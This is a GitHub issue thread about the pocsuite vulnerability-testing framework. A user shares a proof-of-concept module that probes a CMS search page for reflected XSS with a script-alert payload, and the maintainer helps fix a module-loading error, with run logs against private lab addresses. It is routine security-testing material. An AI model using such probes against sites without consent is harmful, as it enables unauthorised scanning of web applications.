Git Product home page Git Product logo

Comments (4)

nixawk avatar nixawk commented on May 18, 2024

@tylerdurden2010 Please paste the error details here, and I'll try to fix it.

from pocsuite.

tylerdurden2010 avatar tylerdurden2010 commented on May 18, 2024

Thanks nixawk, I guess I just copied some old fashion example code to cause these issue.

#Cross Site Scripting
# coding: utf-8
import time, urlparse,re
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '2'  # VUL ID
    version = '1'  # 默认为1
    author = 'w'  # PoC 作者的大名
    vulDate = '2014-10-16'  # 漏洞公开的时间,不知道就写今天
    createDate = '2014-10-16'  # 编写 PoC 的日期
    updateDate = '2014-10-16'  # POC更新的时间,默认和编写时间一样
    references = [
        'https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']  # 漏洞地址来源,0day 不用写
    name = 'SearchXSS'  # PoC 名称
    appPowerLink = 'https://www.drupal.org/'  # 漏洞厂商主页地址
    appName = 'cms'  # 漏洞应用名称
    appVersion = '7.x'  # 漏洞影响版本
    vulType = 'Cross Site Scripting'  # 漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        pure reflected xss
    '''  # 漏洞简要描述
    samples = []  # 测试样例,就是用 PoC 测试成功的网站,选填

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        vulurl = urlparse.urljoin(self.url, 'search.php?keywords=')
        payload = "<script>alert(1);</script>"
        Repayload = "\<script\>alert\(1\);\<\/script\>"
        a = re.compile(Repayload)
        vulurl = vulurl + payload
        resp = req.get(vulurl)
        reResult = re.search(a, resp.content)

        if reResult:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vulurl
            result['VerifyInfo']['Payload'] = payload

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
python pocsuite.py -r ./pocsuite/tests/SearchXSS.pyc -u chttp://192.168.33.10/cms/ --verify --report /tmp/report.html --mongodb 127.0.0.1:27017 --cookie "a=t"

                              ,--. ,--.
 ,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.4.1-nongit-20160926}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 15:46:47

[15:46:47] [DEBUG] setting the HTTP Cookie header
[15:46:47] [-] SearchXSS register failed "No module named net"

[*] shutting down at 15:46:47

from pocsuite.

nixawk avatar nixawk commented on May 18, 2024

@tylerdurden2010 Please review the poc format, ex: dlink_command_php_exec_noauth. I've test your module, and it works well.

ks-pocsuite [master] ->> python pocsuite.py -r /Users/Open-Security/Share/pocsuite-test/SearchXSS.py -u http://192.168.1.1/cms/ --verify --cookie "a=t"

                              ,--. ,--.
 ,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.4.1-e36c021}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 02:15:19

[02:15:19] [DEBUG] setting the HTTP Cookie header
[02:15:19] [*] checking SearchXSS
[02:15:19] [*] poc:'SearchXSS' target:'http://192.168.1.1/cms/'
[02:15:19] [-] poc-2 'SearchXSS' failed.
+-------------------------+-----------+--------+-----------+---------+----------+
|        target-url       |  poc-name | poc-id | component | version |  status  |
+-------------------------+-----------+--------+-----------+---------+----------+
| http://192.168.1.1/cms/ | SearchXSS |   2    |    cms    |   7.x   | Error: n |
+-------------------------+-----------+--------+-----------+---------+----------+
success : 0 / 1

[*] shutting down at 02:15:19

Please delete SearchXSS.pyc and try it again. If no error, the issue will be closed.

from pocsuite.

nixawk avatar nixawk commented on May 18, 2024

@tylerdurden2010 The issue is closed. If you have problems, please reopen it.

from pocsuite.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.